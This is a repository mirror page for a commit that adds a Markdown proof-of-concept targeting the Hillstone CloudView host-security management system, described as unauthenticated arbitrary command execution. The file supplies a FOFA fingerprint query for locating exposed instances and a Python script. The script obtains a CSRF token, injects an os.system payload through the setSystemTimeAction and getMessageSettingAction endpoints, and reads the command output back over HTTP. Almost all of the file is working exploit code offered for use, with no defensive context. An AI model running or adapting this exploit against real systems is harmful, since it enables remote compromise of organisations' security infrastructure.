admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 山石网科云鉴存在前台任意命令执行漏洞.md

Browse Source
This commit is contained in:
wy876 2024-02-21 12:16:26 +08:00 committed by GitHub
parent 51a0e23f6c
commit cf75a6db7c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 47 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

47
山石网科云鉴存在前台任意命令执行漏洞.md Normal file
View File

@ -0,0 +1,47 @@
## 山石网科云鉴存在前台任意命令执行漏洞
## fofa
```
"山石云鉴主机安全管理系统"
```
## poc
```
import requests
'''
HSVD-2023-0008
'''
def setSystemTimeAction(newcsrf,headers):
url = "https://192.168.199.221/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
proxies = {'https':'http://127.0.0.1:8080'}
x = "param=os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
#req2 = requests.post(url2, data=x, proxies=proxies, verify=False, headers=headers)
req2 = requests.post(url, data=x,headers=headers, verify=False)
'''
HSVD-2023-0005
'''
def getMessageSettingAction(newcsrf,header):
proxies = {'https':'http://127.0.0.1:8080'}
company_uuid = "aaa"
platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
url = 'https://192.168.199.221/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
req = requests.get(url, headers=header, verify=False)
print(req.text)
def main():
headers = {"Cookie": "PHPSESSID=emhpeXVhbg;",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}
url = "https://192.168.199.221/master/ajaxActions/getTokenAction.php"
req = requests.post(url, verify=False, headers=headers)
newcsrf = req.text.replace("\n", "")
setSystemTimeAction(newcsrf,headers)
reshell = requests.get('https://192.168.199.221/master/img/config',verify=False)
print('---------------------cmd-------------------------')
print(reshell.text)
if __name__ == '__main__':
main()
```